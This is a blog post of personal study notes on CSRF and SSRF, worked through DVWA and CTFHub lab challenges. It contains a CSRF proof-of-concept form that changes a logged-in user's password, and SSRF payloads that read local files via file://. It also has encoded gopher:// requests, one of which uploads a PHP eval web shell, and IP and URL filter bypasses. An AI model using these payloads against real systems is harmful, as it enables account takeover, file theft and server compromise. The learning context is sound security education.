CSRF and SSRF study notes

Others 2021-03-20 07:14:20 views: null

Article Directory

CSRF

  • CSRF, originally called Cross-site requestforgery (cross-site request forgery)
  1. CSRF attack process
  • The target user has logged in to the website and is able to perform the functions of the website
  • The target user accessed the payload constructed by the attacker
  1. The reason for the vulnerability
  • There is no effective secondary verification and token verification
  1. There are different levels in the DVWA range
  • LOW
  • Go in and find that you only need to enter the new password and confirm the new password to modify the password of the account, and F12 did not find the token verification.
    Insert picture description here
  • Grab the package directly, use burpsuit to make the csrf file, and put it in the root directory. My current password is 123456
<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
     <input type="hidden" name="password&#95;new" value="888888" />
     <input type="hidden" name="password&#95;conf" value="888888" />
     <input type="hidden" name="Change" value="Change" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>
  • When I visit the csrf.html file, and click Submit request, because I have logged in to the account webpage and the cookie is returned
  • The webpage will directly modify the account password that I have logged in
  • There is no difference between Medium and low levels
  • When capturing packets with High , you need to change the level to low in burpsuit
  • It is impossible because it requires secondary verification of the user's current password, and the password cannot be changed without knowing the current password

SSRF

  • SSRF, the full name of Server Side RequestForgery-server side request forgery
  • SSRF vulnerability principle The
    server provides the function of obtaining data from other server applications and does not restrict the filtering of the target address.
  • Main attack method
    1. Perform port scanning on the external network, the internal network where the server is located, and the local port to obtain banner information of some services
    2. Attacking applications running on the intranet or local
    3. Fingerprint identification of intranet web applications to identify asset information within the enterprise
    4. Attacks on web applications on internal and external networks are mainly attacks that can be achieved using HTTP GET requests
    5. Use file protocol to read local files, etc.
  • SSRF was learned at CTFHub

Intranet access

  • Try to access flag.php located at 127.0.0.1
  • Add /?url=http://127.0.0.1/flag.php directly to the url
  • You can get the flag

Pseudo-protocol to read files

  • The previous article on the pseudo agreement has been said many times
  • Direct access as on the topic/?url=http://127.0.0.1/flag.php
    Insert picture description here
  • Page back???
  • The topic is pseudo-protocol, we use pseudo-protocol to read/?url=file:///var/www/html/flag.php
    Insert picture description here

Port scan

  • The question has already suggested that the port range is 8000-9000
  • Blast and it's over
    Insert picture description hereInsert picture description here
  • Send it to the Repeater to get the flag.

Gopher protocol learning

  • Gopher is an information search system on the Internet, which organizes files on the Internet into a certain index, and brings users from one place on the Internet to another.
  • The Gopher protocol supports sending GET and POST requests: you can intercept the get request packet and the post request packet first to form a request that conforms to the gopher protocol
  • The Gopher protocol can attack Redis, Mysql, FastCGI, Ftp, etc. on the intranet, and can also send GET and POST requests.
  • The format of the Gopher protocol
    URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

CTFHUP: POST request

  • I studied this problem all afternoon
  • hint: This time I send an HTTP POST request. By the way. ssrf is implemented with PHP's curl. And it will track 302 jumps. Come on, Sao Nian
  • accesshttp://challenge-527e8656f5239cf0.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
  • Return an input box without even a submit button (the front end can be made by yourself)
  • But we can read the file source code through the file protocol
//index.php文件
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    
    
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>


// flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    
    
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    
    
    echo $flag;
    exit;
}
?>
  • If you submit the key value directly on the flag.php page, it will return Just View From 127.0.0.1, because your post parameter passed in is not the intranet, but the address you are visiting now, and this file can only be passed through the intranet Internet access
  • Then we have to think about how to access through the intranet
  • The Gopher protocol we mentioned above reflects its function here.
  • First, we will capture the package when uploading the key valueInsert picture description here
  • After capturing the packet, we extract the information we need and prepare to construct the payload
  • Must have the following content
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e51d59854bfe930e0bf1e608691914f6
  • We have to do is to make this post the request is passed ?url=127.0.0.1/index.phpon
  • The payload constructed above is url-encoded. Here you need to pay attention to changing the url encoding of the line break from %0Ato%0D%0A
  • After three encodings, the following payload is obtained:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
  • Combine payload and url
/?url=127.0.0.1/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
  • Get flag
    Insert picture description here
  • Later, the big guy who asked the school can actually only encode twice and upload it directly? url=gopher://... Part of the tried and effective! ! ! !
  • The two encodings are that the URL decodes once by itself, and the gopher is encoded once.
  • Three encoding is url decoding once, gopher decoding once

CTFHUB:UPLOAD

  • The same get upload ?url=127.0.0.1/flag.phpthis time is an upload file
    Insert picture description here
  • There is a lack of a submit button to construct it yourself<input type="submit" name="submit">
    Insert picture description here
  • After submission, it is the same as the question aboveJust View From 127.0.0.1
  • It's another problem that needs to get information through the intranet
  • Read the source code
    ?url=file:///var/www/html/flag.php. Some problems are mixed with the page code.
 //falg.php
 <?php
​error_reporting(0);
​if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    
    
echo "Just View From 127.0.0.1";
return;
}
​if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    
    
echo getenv("CTFHUB");
exit;
}
?>
​Upload Webshell
​<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
?>

// index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    
    
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>
  • This question does not really require you to upload a webshell, as long as you upload any file to the address of 127.0.0.1.
  • Grab a packet like the question above to get the required information to make a payload
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

CGI and FastCGI protocol

  • CGI and FastCGI protocol learning
  • The webpage I studied is recorded above, very detailed
  • Below I will record the part about the FastCGI protocol to facilitate my own review. It is too theoretical and looks too hard.
  1. Overview: FastCGI is a communication protocol; in the CGI protocol, the life cycle of a Web application completely depends on the life cycle of the HTTP request. The FastCGI process is resident. Once started, it can handle all HTTP requests without directly exiting.
  2. The composition of the FastCGI protocol
  • Message header information
-Version: 用于表示 FastCGI 协议版本号。
-Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
-RequestID: 标识出当前所属的 FastCGI 请求。
-Content Length: 数据包包体所占字节数。
  • Message type definition
- BEGIN_REQUEST: 从 Web 服务器发送到 Web 应用，表示开始处理新的请求。
- ABORT_REQUEST: 从 Web 服务器发送到 Web 应用，表示中止一个处理中的请求。比如，用户在浏览器发起请求后按下浏览器上的「停止按钮」时，会触发这个消息。
- END_REQUEST: 从 Web 应用发送给 Web 服务器，表示该请求处理完成。返回数据包里包含「返回的代码」，它决定请求是否成功处理。
- PARAMS: 「流数据包」，从 Web 服务器发送到 Web 应用。此时可以发送多个数据包。发送结束标识为从 Web 服务器发出一个长度为 0 的空包。且 PARAMS 中的数据类型和 CGI 协议一致。即我们使用 $_SERVER 获取到的系统环境等。
- STDIN: 「流数据包」，用于 Web 应用从标准输入中读取出用户提交的 POST 数据。
- STDOUT: 「流数据报」，从 Web 应用写入到标准输出中，包含返回给用户的数据。
  1. Web server and FastCGI interaction process
  • The Web server accepts user requests, but the final processing request is completed by the Web application. At this time, the web server is connected to the FastCGI process through a socket
  • FastCGI process view acceptance = connection received. Select [Accept] or [Reject] to connect. If it is an [accept] connection, read the data packet from the standard input stream
  • If the connection is not successfully received within the specified time in the FastCGI process, the request fails. Otherwise, the Web server sends a BEGIN_REQUEST type message containing a unique RequestID to the FastCGI process. All subsequent data packet transmissions will contain this RequestID. Then, the Web server sends any number of PARAMS type messages to the FastCGI process. Once the transmission is complete, the Web server sends an empty PARAMS message packet and then closes the stream. In addition, if the user sends POST data, the Web server will write it to standard input (STDIN) and send it to the FastCGI process. When all POST data is sent, an empty standard input (STDIN) will be sent to close the stream.
  • At the same time, the FastCGI process receives a BEGINREQUEST type data packet. It can reject the request by responding to ENDREQUEST. Or receive and process this request. If it receives a request, the FastCGI process will wait to receive all PARAMS and standard input packets. Then, the request is processed and the returned result is written to the standard output (STDOUT) stream. After the processing is complete, send an empty data packet to the standard output to close the stream, and send an END_REQUEST type message to notify the Web server, telling it whether an error has occurred.
    The above content comes from the URL given above.
    There is also a supplementary FastCGI architecture diagram and process.

CTFHUB:FastCGI

  • Learn again tomorrow!

CTFHUB: Redis

CTFHUB:URL Bypass

  • hint: http://notfound.ctfhub.com must be included in the requested URL. Try to use some special parts of the URL to bypass this restriction.
  • To show everyone a magical thing
  • Visit the [email protected]page to jump to the 4399 interface
    Insert picture description here
  • Then for this question, we can also use the problem of url parsing
  • Direct access to the ?url=127.0.0.1/flag.phppage will display the content of the hint
  • So change the url to ?url=http://[email protected]/flag.phpget the flag
  • The following is an explanation of the principle
  • In some cases, the back-end program may parse the accessed URL and filter the resolved host address. At this time, there may be improper parsing of URL parameters, which can bypass the filtering.
    http://[email protected]
    When the regular expression filtering of the back-end is not rigorous enough, for example, when the character content from http to com, which is www.baidu.com, is considered to be the host address of the access request, when the content of the above URL is parsed, it is very It may be considered that the host of the access URL is www.baidu.com, but in fact the content requested by this URL is the content on www.4399.com.

CTFHUB: Digital IP Bypass

  • hint: This time ban dropped 127 and 172. Dotted decimal IP can not be used. But you have to visit 127.0.0.1 again. what can we do about it
  • Also visit the /?url=127.0.0.1/flag.phppage to put back the banned content
  • Can't access in decimal system, then can there be octal hexadecimal system?
  • /?url=0x7f.0x1/flag.php
  • Here is a supplement that should be originally 0x7f.0x0.0x0.0x1/flag.php, but 127.0.0.1 can be converted to 127.1

CTFHUB: 302 Jump Bypass

  • hint: There is a very important point in SSRF that the request may follow 302 jump, try to use this to bypass the detection of IP and visit flag.php located at 127.0.0.1.
  • Why do I ?url=127.0.0.1/flag.phpget the flag when I input it directly

CTFHUB: DNS rebinding Bypass

Guess you like

Origin blog.csdn.net/CyhDl666/article/details/113541983
Recommended
TIOBE May list: Fortran “resurrected” into Top 10
GCC 14.1 released
Ranking
B. Little Girl and Game【1300 / 回文字符串 博弈论】
CIKERS Shane 20190613
"Javascript advanced programming" study notes - the constructor and prototype
beeline hiveserver2 start
springboot - Automatically backup mysql data every day
Data Storage Full Solution--Detailed Persistence Technology
Detailed Explanation of Spring Web MVC DispatcherServlet—Official Original
TCP / IP protocol layers structure and function
Command type literal pos: unknown； Fallback type literal pos: unknown] with root cause
Design of multifunctional curtain controller with indoor anti-theft alarm
Daily
More
2024-05-08(18)
2024-05-07(34)
2024-05-06(6)
2024-05-05(0)
2024-05-04(18)
2024-05-03(8)
2024-05-02(0)
2024-05-01(4)
2024-04-30(36)
2024-04-29(5)

Code World

© 2018 codetd.com